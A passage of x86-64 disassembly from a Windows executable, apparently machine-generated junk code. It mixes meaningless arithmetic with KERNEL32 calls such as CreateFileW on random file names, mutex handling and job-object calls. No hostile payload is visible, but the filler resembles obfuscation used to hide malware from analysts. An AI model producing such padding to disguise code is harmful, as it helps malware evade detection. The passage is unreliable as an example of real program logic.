and eax, ecx
mov word [rsp + 0x1fd0], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1a75
mov rcx, qword [rsp + 0xbc58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4794], eax
mov rax, qword [rsp + 0xb0b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e40]
sub eax, ecx
mov rcx, qword [rsp + 0xb588]
mov word [rcx], ax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbfd8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9ef6
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46b0], eax
mov rcx, qword [rsp + 0x9ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9b28]
mov rcx, qword [rsp + 0xb7f8]
mov qword [rsp + 0xbfe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfe0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14022bbd8], rax
movzx eax, word [rsp + 0x1508]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1214], ax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0xb578]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb728], rax
mov rax, qword [rsp + 0xaea0]
mov rax, qword [rax]
mov qword [rsp + 0xbfe8], rax
mov rax, qword [rsp + 0xa400]
mov rcx, qword [rsp + 0x9c08]
mov qword [rsp + 0xbff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbff0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9ef0]
mov qword [rcx], rax
mov rax, qword [0x14022b9f0]
mov ecx, dword [rsp + 0x45a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49a4], eax
lea rdx, [rsp + 0x4b2c]
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b7c], eax
movzx eax, byte [rsp + 0x115]
mov rcx, qword [rsp + 0xaf80]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x206], al
mov eax, dword [rsp + 0x48e0]
mov ecx, dword [rsp + 0x47c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4630], eax
lea rax, [rsp + 0x35c]
mov qword [rsp + 0xbff8], rax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6e0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b9e8]
mov word [rcx], ax
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0xdd8]
and eax, ecx
mov word [rsp + 0x16bc], ax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
mov word [rsp + 0x200c], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1754]
sub eax, ecx
mov rcx, qword [rsp + 0xba80]
mov word [rcx], ax
mov r9d, 0xfd4
xor r8d, r8d
lea rdx, [rsp + 0xa7a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b54], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.cNCKHvtH_byYEtwtl
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc000], rax
lea rdx, [rsp + 0x49a0]
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b24], eax
movsx eax, byte [rsp + 0x1a8]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x367], al
lea rax, [rsp + 0xbb00]
mov qword [rsp + 0xc008], rax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [rsp + 0x458c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x498c], eax
lea rax, [0x14022b9f8]
mov qword [rsp + 0xc010], rax
mov rax, qword [rsp + 0xb100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa7b8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a84], ax
lea rax, [rsp + 0x8a18]
mov qword [0x14022bde0], rax
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.WbogAyqRXgMEQoS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc018], rax
mov rax, qword [rsp + 0xb500]
mov rcx, qword [rsp + 0xada0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9c28], rax
lea rax, [rsp + 0x9810]
mov qword [rsp + 0xc020], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0xa828]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9090], rax
lea rax, [rsp + 0x1e4c]
mov qword [rsp + 0xc028], rax
mov eax, dword [rsp + 0x48e0]
mov rcx, qword [rsp + 0xafa0]
mov qword [rsp + 0xc030], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc030]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa8c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x19f]
add eax, ecx
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xb598]
movzx eax, byte [rax]
mov byte [rsp + 0x3b7], al
mov rax, qword [0x14022bc38]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb4f8], rax
mov eax, dword [rsp + 0x4b58]
mov dword [0x14022bde8], eax
movsx eax, word [rsp + 0xe24]
movsx ecx, word [0x14022ba24]
and eax, ecx
mov word [rsp + 0x1b28], ax
movsx eax, word [rsp + 0x1268]
mov rcx, qword [rsp + 0xb8d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbf38]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbb40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d88], ax
lea rdx, [rsp + 0x4880]
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48e8], eax
mov rax, qword [rsp + 0xb628]
mov rax, qword [rax]
mov qword [rsp + 0xc038], rax
mov eax, dword [rsp + 0x3c00]
movzx ecx, al
mov eax, dword [rsp + 0x45a0]
shr eax, cl
mov rcx, qword [rsp + 0xb0e8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x169]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x242], al
mov rax, qword [rsp + 0xae18]
mov rax, qword [rax]
mov rcx, qword [0x14022a048]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb930]
mov qword [rcx], rax
lea rax, [rsp + 0x14bc]
mov qword [rsp + 0xc040], rax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b968], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc048], rax
lea rcx, [rsp + 0xb5d8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x47c8]
mov rcx, qword [rsp + 0xb3a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4714], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xaee0]
mov rax, qword [rax]
mov rcx, qword [0x14022ba90]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x83f0], rax
mov rax, qword [rsp + 0xba50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf60]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov dword [rsp + 0x4b80], eax
mov rax, qword [rsp + 0xa3a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sar eax, cl
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xae18]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7768], rax
mov rax, qword [0x14022bc50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49e4], eax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x1f4c]
mov qword [rsp + 0xc050], rax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [rsp + 0xbde0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022bce8], ax
mov r9d, 0x5cd
xor r8d, r8d
lea rdx, [rsp + 0xc048]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4ae8], eax
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x7848]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbd30], rax
mov rax, qword [rsp + 0x8ff0]
mov qword [rsp + 0xc058], rax
lea rcx, [rsp + 0xc060]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14022b9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed8]
sar eax, cl
mov word [rsp + 0x1e5c], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb100]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e60], ax
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
mov qword [rsp + 0xc068], rax
mov rax, qword [rsp + 0xb1b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa920]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a6], al
lea rax, [rsp + 0x4b30]
mov qword [rsp + 0xc070], rax
mov rax, qword [rsp + 0xad50]
mov rcx, qword [0x14022ba10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb398], rax
lea rdx, [rsp + 0x4a84]
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b20], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x91c7
mov rcx, qword [rsp + 0xb0e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b84], eax
movzx eax, word [rsp + 0x1de4]
mov word [0x14022bdec], ax
mov rax, qword [rsp + 0xbca0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1598]
or eax, ecx
mov rcx, qword [rsp + 0xb720]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rax, [rsp + 0x362]
mov qword [rsp + 0xc078], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x784e
mov rcx, qword [rsp + 0xc018]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4940], eax
mov eax, dword [rsp + 0x3dc8]
movzx ecx, al
mov eax, dword [rsp + 0x3a34]
shl eax, cl
mov rcx, qword [rsp + 0xa780]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb358]
mov rcx, qword [rsp + 0xbd98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7d48], rax
mov rax, qword [rsp + 0xa9b8]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b810]
add eax, ecx
mov byte [rsp + 0x388], al
lea rax, [rsp + 0x4b00]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xb208]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa508]
shr rax, cl
mov rcx, qword [rsp + 0xad88]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf58]
mov rcx, qword [0x14022ba48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fb8], ax
movzx eax, word [rsp + 0x1d2c]
mov rcx, qword [rsp + 0x9fd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022a0e8], ax
lea rax, [rsp + 0x9780]
mov qword [rsp + 0xc088], rax
movzx eax, word [0x14022bad8]
movzx ecx, word [rsp + 0x80c]
sub eax, ecx
mov word [rsp + 0x1e30], ax
lea rax, [rsp + 0x1ea8]
mov qword [rsp + 0xc090], rax
mov rax, qword [rsp + 0xa260]
mov rcx, qword [rsp + 0x8f38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0xbe20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x34e]
and eax, ecx
mov byte [rsp + 0x2b4], al
mov rax, qword [rsp + 0x8e60]
mov qword [rsp + 0xc098], rax
mov eax, dword [rsp + 0x437c]
mov rcx, qword [rsp + 0xaa50]
mov qword [rsp + 0xc0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3bc0], eax
lea rax, [0x14022bc68]
mov qword [rsp + 0xc0a8], rax
mov rax, qword [rsp + 0x7838]
mov rcx, qword [rsp + 0xb3f0]
or rcx, rax
mov rax, rcx
mov qword [0x14022a038], rax
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48e0]
shl eax, cl
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
lea rcx, [rsp + 0x9688]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xbdc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x9cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19fc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc0b0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x368d
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48a0], eax
mov r9d, 0x177a
xor r8d, r8d
lea rdx, [rsp + 0xbfd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a78], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.lS1VLgi_sTCiTXSoMwLk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xbeb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1da0]
add eax, ecx
mov word [rsp + 0x1d2c], ax
lea rax, [rsp + 0x3a1c]
mov qword [rsp + 0xc0c0], rax
mov rcx, qword [rsp + 0xc048]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0xc0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa150]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x370]
mov byte [rsp + 0x3b8], al
mov rax, qword [rsp + 0xb7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa1c], ax
movzx eax, word [rsp + 0x1f70]
mov word [0x14022bdf0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0xa770]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0x7918]
mov qword [rsp + 0xc0d0], rax
mov rax, qword [rsp + 0xb9d0]
mov rcx, qword [rsp + 0xabb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7898], rax
lea rax, [rsp + 0x1e90]
mov qword [rsp + 0xc0d8], rax
mov rax, qword [rsp + 0xac08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
cdq
idiv ecx
mov byte [rsp + 0x366], al
mov rax, qword [rsp + 0xa9d8]
mov rcx, qword [rsp + 0xbf48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xac70], rax
lea rax, [0x14022b878]
mov qword [rsp + 0xc0e0], rax
mov rax, qword [rsp + 0xbf68]
mov ecx, dword [rsp + 0x3e20]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0x9a48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb838]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ed], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x47b0]
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b64], eax
mov rax, qword [0x14022b8f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9f8]
sar eax, cl
mov rcx, qword [0x14022b9c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xa58]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xaa30]
movzx eax, word [rax]
movzx ecx, word [0x140229ff4]
or eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0xbd98]
mov rax, qword [rax]
mov qword [rsp + 0xc0e8], rax
mov rcx, qword [rsp + 0xbd38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x47e4]
mov rcx, qword [rsp + 0xa618]
mov qword [rsp + 0xc0f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x9398]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x83e8], rax
mov rax, qword [rsp + 0xa9b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x389]
sub eax, ecx
mov byte [rsp + 0xac], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x1b5c]
movsx ecx, word [rsp + 0x1d80]
sub eax, ecx
mov word [rsp + 0x2000], ax
movzx eax, word [rsp + 0x1cfc]
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x83f0]
mov rcx, qword [rsp + 0xbd98]
mov qword [rsp + 0xc0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc0f8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14022a078], rax
movzx eax, word [rsp + 0x15f8]
movzx ecx, word [rsp + 0x1f44]
and eax, ecx
mov word [rsp + 0x1d78], ax
lea rax, [rsp + 0xbf88]
mov qword [rsp + 0xc100], rax
mov rax, qword [rsp + 0x9b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8330]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbea8], rax
lea rax, [rsp + 0x40ac]
mov qword [rsp + 0xc108], rax
mov rax, qword [rsp + 0xb7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0xb768]
mov ecx, dword [rsp + 0x49d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
mov byte [rsp + 0x3b9], al
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xb878]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7768], rax
mov rax, qword [rsp + 0xa8c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a0ec], ax
lea rax, [0x14022b820]
mov qword [rsp + 0xc110], rax
movzx eax, word [rsp + 0x1fe4]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1dbc], ax
movzx eax, word [rsp + 0x19c0]
movzx ecx, word [rsp + 0x1d24]
or eax, ecx
mov word [rsp + 0x1d90], ax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [0x14022b810]
mov rcx, qword [rsp + 0xb430]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x233], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x8220]
mov rcx, qword [rsp + 0xb5b8]
mov qword [rsp + 0xc118], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc118]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov dword [rsp + 0x4b88], eax
mov rax, qword [rsp + 0xa970]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x810], ax
movzx eax, word [rsp + 0x1dfc]
movzx ecx, word [rsp + 0x1f88]
add eax, ecx
mov rcx, qword [rsp + 0xc028]
mov word [rcx], ax
mov rax, qword [rsp + 0xb9d0]
mov rcx, qword [rsp + 0xa298]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022ba90], rax
lea rax, [rsp + 0xb948]
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xaee0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa6b0]
mov rcx, qword [rsp + 0xae60]
mov qword [rsp + 0xc128], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc128]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0xa148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed4]
add eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
lea rdx, [rsp + 0x4b8c]
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4878], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov byte [rsp + 0x3ba], al
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x4ab0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0xb3f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb390], rax
mov rax, qword [rsp + 0xbd20]
movzx eax, byte [rax]
mov byte [rsp + 0x3bb], al
mov rax, qword [0x14022bbe0]
mov eax, dword [rax]
mov dword [0x14022bdf4], eax
movsx eax, word [rsp + 0x17fc]
movsx ecx, word [rsp + 0x1ef0]
xor eax, ecx
mov word [rsp + 0xad0], ax
movsx eax, word [rsp + 0x1da8]
movsx ecx, word [rsp + 0xad0]
or eax, ecx
mov word [rsp + 0x1aa0], ax
movzx eax, word [rsp + 0x1f88]
movzx ecx, word [rsp + 0xb08]
shl eax, cl
mov rcx, qword [rsp + 0xaa10]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb188]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb050]
mov qword [rsp + 0xc130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc130]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb050]
mov qword [rcx], rax
lea rdx, [rsp + 0x4b90]
mov rcx, qword [rsp + 0xa4c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48c8], eax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0x46a4]
mov rcx, qword [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0x9c08]
mov rax, qword [rax]
mov qword [rsp + 0xc138], rax
mov rax, qword [0x14022bbe0]
mov rcx, qword [rsp + 0xbe78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4864], eax
movsx eax, byte [rsp + 0x391]
movsx ecx, byte [rsp + 0x3aa]
sub eax, ecx
mov byte [rsp + 0x10e], al
mov rax, qword [0x14022bcc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1efc], ax
movzx eax, word [rsp + 0x1f44]
mov word [0x14022bdf8], ax
lea rcx, [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9f68]
mov rcx, qword [rsp + 0x9df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x84d0], rax
lea rax, [0x14022ba38]
mov qword [rsp + 0xc148], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x3438
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ac8], eax
mov rax, qword [rsp + 0x9bb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb038]
mov qword [rsp + 0xc150], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc150]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4890], eax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xc158], rax
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
sub eax, ecx
mov byte [rsp + 0x375], al
lea rdx, [rsp + 0x4714]
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xbdd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa378], rax
lea rax, [rsp + 0x4774]
mov qword [rsp + 0xc160], rax
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa800]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0xb3b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa198]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022a0e8], ax
mov rax, qword [rsp + 0xa128]
mov qword [rsp + 0xc168], rax
mov rax, qword [0x14022b888]
mov rcx, qword [rsp + 0x8ff0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa280], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xa1f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b5c]
shl eax, cl
mov word [rsp + 0x194c], ax
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov rcx, qword [0x14022b860]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa588]
mov word [rcx], ax
mov rax, qword [rsp + 0xbca8]
